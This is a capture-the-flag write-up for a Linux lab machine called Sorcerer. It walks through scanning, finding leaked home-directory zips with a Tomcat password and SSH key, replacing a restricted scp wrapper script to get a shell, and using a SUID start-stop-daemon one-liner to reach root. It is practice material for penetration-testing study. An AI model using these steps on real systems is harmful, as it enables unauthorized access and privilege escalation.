Name | Sorcerer |
---|---|
OS | Linux |
DIFFICULTY | Intermediate |
Port Scan
I started with a quick port scan of the machine and there are a handful of open ports to poke at
1
2
3
4
5
6
7
8
9
10
11
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
7742/tcp open msss
8080/tcp open http-proxy
35099/tcp open unknown
41269/tcp open unknown
52103/tcp open unknown
59601/tcp open unknown
I did a more in-depth scan using the switch -sVC
and the two ports that stick out to me are 111 rpcbind and 7742 http. Regardless I’ll go through and enumerate each port
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 81:2a:42:24:b5:90:a1:ce:9b:ac:e7:4e:1d:6d:b4:c6 (RSA)
| 256 d0:73:2a:05:52:7f:89:09:37:76:e3:56:c8:ab:20:99 (ECDSA)
|_ 256 3a:2d:de:33:b0:1e:f2:35:0f:8d:c8:d7:8f:f9:e0:0e (ED25519)
80/tcp open http nginx
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3 2049/udp nfs
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 58620/udp mountd
| 100005 1,2,3 59601/tcp mountd
| 100021 1,3,4 35099/tcp nlockmgr
| 100021 1,3,4 46397/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/udp nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
7742/tcp open http nginx
|_http-title: SORCERER
8080/tcp open http Apache Tomcat 7.0.4
|_http-title: Apache Tomcat/7.0.4
|_http-favicon: Apache Tomcat
35099/tcp open nlockmgr 1-4 (RPC #100021)
41269/tcp open mountd 1-3 (RPC #100005)
52103/tcp open mountd 1-3 (RPC #100005)
59601/tcp open mountd 1-3 (RPC #100005)
SSH 22
SSH has a fairly low attack surface so I’ll skip this for now and come back if I get stuck.
HTTP 80
The home page of this site gave me a 404 and there was nothing in the source code of the page.
feroxbuster
was not able to find anything, moving on to next protocol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~/provingGrounds/sorcerer]
└─# feroxbuster --url http://192.168.172.100
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.172.100
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 1l 3w 14c http://192.168.172.100/
[####################] - 1m 60000/60000 0s found:1 errors:0
[####################] - 1m 30000/30000 349/s http://192.168.172.100
[####################] - 1m 30000/30000 348/s http://192.168.172.100/
RPCBIND 111
This shows the binding of services to protocols. I ran another nmap
scan using nfs
nse
scripts but nothing came back. There is not much I can do with this so I’ll move on.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[~/provingGrounds/sorcerer]
└─# nmap -p 111 --script=nfs* 192.168.172.100
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-04 11:50 EDT
Nmap scan report for 192.168.172.100
Host is up (0.14s latency).
PORT STATE SERVICE
111/tcp open rpcbind
|_nfs-showmount: No NFS mounts available
Nmap done: 1 IP address (1 host up) scanned in 1.34 seconds
┌──(root㉿kali)-[~/provingGrounds/sorcerer]
└─# nmap -p 2049 --script=nfs* 192.168.172.100
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-04 11:50 EDT
Nmap scan report for 192.168.172.100
Host is up (0.14s latency).
PORT STATE SERVICE
2049/tcp open nfs
HTTP 7742
The home page is a control panel with options to log in
I tried some default creds but every time I would get a popup saying “Invalid Login”. I turned on burpsuite
to intercept the request and noticed that nothing was being sent to the server. (Burp would not intercept anything)
Looking at the source code every time the “Login” button is it just flashes “Invalid Login”. This page does nothing
1
2
3
4
5
6
<div class="container">
<label for="username" style="font-family:verdana;"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="username" required>
<label for="password" style="font-family:verdana;"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="password" required>
---> <button onclick="ifLoginAdminFalse()" type="submit">Login</button>
My next steps were to start fuzzing out other files or directories to play with. feroxbuster
identified /default
that returned a 404 and /zipfiles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~/provingGrounds/sorcerer]
└─# feroxbuster --url http://192.168.172.100:7742/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.172.100:7742/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 65l 117w 1219c http://192.168.172.100:7742/
301 GET 7l 12w 178c http://192.168.172.100:7742/default => http://192.168.172.100:7742/default/
301 GET 7l 12w 178c http://192.168.172.100:7742/zipfiles => http://192.168.172.100:7742/zipfiles/
http://192.168.172.100:7742/zipfiles/ contained zipfiles, who would have thought?
Unzipping each of the folders showed that they are zips of the user’s home folders
1
2
3
┌──(root㉿kali)-[~/provingGrounds/sorcerer/zipFiles/home]
└─# ls
francis max miriam sofia
Max had three interesting files inside his home directory. The first was some credential to tomcat
<user username="tomcat" password="VTUD2XxJjf5LPmu6" roles="manager-gui"/>
Next was an interesting script called scp_wrapper.sh
. All this is doing is evaluating if scp
is in the variable $SSH_ORIGINAL_COMMAND
, if its not it will print the scp
usage
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "ACCESS DENIED."
scp
;;
esac
And the last was an id_rsa
private key. Trying to log in with it gave me this error and printed out the scp
usage.
1
2
3
4
5
6
7
┌──(root㉿kali)-[~/provingGrounds/sorcerer]
└─# ssh -i max_rsa max@192.168.172.100
PTY allocation request failed on channel 0
ACCESS DENIED.
usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
[-l limit] [-o ssh_option] [-P port] [-S program] source ... target
Connection to 192.168.172.100 closed.
That script is filtering on ssh
to only allow scp
. I did some googling and I found a forum post that shows code that is very similar to what I am working with. “Taco Eater” says that there is a control using the authorized_keys
file. There was a copy of Max’s in the zip file.
1
2
3
┌──(root㉿kali)-[~/…/zipFiles/home/max/.ssh]
└─# cat authorized_keys
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer
Command=
https://www.virtono.com/community/tutorial-how-to/restrict-executable-ssh-commands-with-authorized-keys/ Usually, the authorized_keys
file in a .ssh
directory is used to give a user access to a system. By default just dumping an id_rsa.pub
will give the user full access to the system. But in some cases, you can give the user access to specific commands or operations. That is the case with this machine.
An example is given below with the date
command. Whenever zon tried to log into the machine it will run the date command
1
2
$ cat .ssh/authorized_keys
command = "date" ssh-rsa AAAA [ ... ] zon@rocks
1
2
3
: ~ $ ssh zon@a.b.c.d
Wed Oct 10 14:46:53 CEST 2022
Connection to a.b.c.d closed.
Whenever max
logs into sorcerer
it will run the scp_wrapper.sh
script and take in the arguments and pass them into $SSH_ORIGINAL_COMMAND
to be evaluated if scp
is in the command
Using scp
with the private key I wanted to try and see if I could retrieve files from the server but I got a strange error message
1
2
3
4
┌──(root㉿kali)-[~/provingGrounds/sorcerer]
└─# scp -i max_rsa max@192.168.172.100:/etc/passwd .
scp: Received message too long 1094927173
scp: Ensure the remote shell produces no output for non-interactive sessions.
After reading the man
page for scp
I tried the -O
option that will use a legacy protocol rather than sftp and it worked.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~/provingGrounds/sorcerer/files]
└─# scp -i ../max_rsa -O max@192.168.172.100:/etc/passwd .
passwd 100% 1697 11.8KB/s 00:00
┌──(root㉿kali)-[~/provingGrounds/sorcerer/files]
└─# tail passwd
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_rpc:x:106:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:107:65534::/var/lib/nfs:/usr/sbin/nologin
francis:x:1000:1000::/home/francis:/bin/bash
sofia:x:1001:1001::/home/sofia:/bin/bash
miriam:x:1002:1002::/home/miriam:/bin/bash
max:x:1003:1003::/home/max:/bin/bash
dennis:x:1004:1004::/home/dennis:/bin/bash
tomcat:x:1005:1005::/opt/tomcat:/bin/false
Now that I can interact with the file system I will replace scp_wrapper.sh
with a malicious one that will just run bash
when I log in. This will work because the first statement will evaluate to false as I’m not running scp
, then it will echo “ZON” and drop me into a bash session
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~/provingGrounds/sorcerer/files]
└─# cat scp_wrapper.sh
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "ZON"
bash
;;
esac
┌──(root㉿kali)-[~/provingGrounds/sorcerer/files]
└─# scp -i ../max_rsa -O scp_wrapper.sh max@192.168.172.100:/home/max/scp_wrapper.sh
scp_wrapper.sh 100% 124 0.9KB/s 00:00
┌──(root㉿kali)-[~/provingGrounds/sorcerer/files]
└─# ssh -i ../max_rsa max@192.168.172.100
PTY allocation request failed on channel 0
ZON
id
uid=1003(max) gid=1003(max) groups=1003(max)
Root
I transferred over linpeas.sh
onto the machine using wget
and python3 -m http.server 80
and ran it. Under the SUID
section there was some red and yellow on start-stop-daemon
1
2
3
4
5
6
7
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strings Not Found
strace Not Found
-rwsr-xr-x 1 root root 113K Jun 24 2020 /usr/sbin/mount.nfs
-rwsr-xr-x 1 root root 44K Jun 3 2019 /usr/sbin/start-stop-daemon
I did a search on gtfo bins and found that there was a priv esc for it. Notice that my euid
is root
allowing me to read /root/proof.txt
1
2
3
/usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p
id
uid=1003(max) gid=1003(max) euid=0(root) groups=1003(max)
Things Learned
This machine was pretty fun, it defiantly challenged me. I got stuck on HTTP 7742 for a while. I could not think of what to do next, but I had to go back to the basics and fuzz files and directories.
I also was able to brush up on my bash scripting and learn about case
statements.
The authorized_keys
control was also new to me. I did not know you could “lock down” ssh in that way.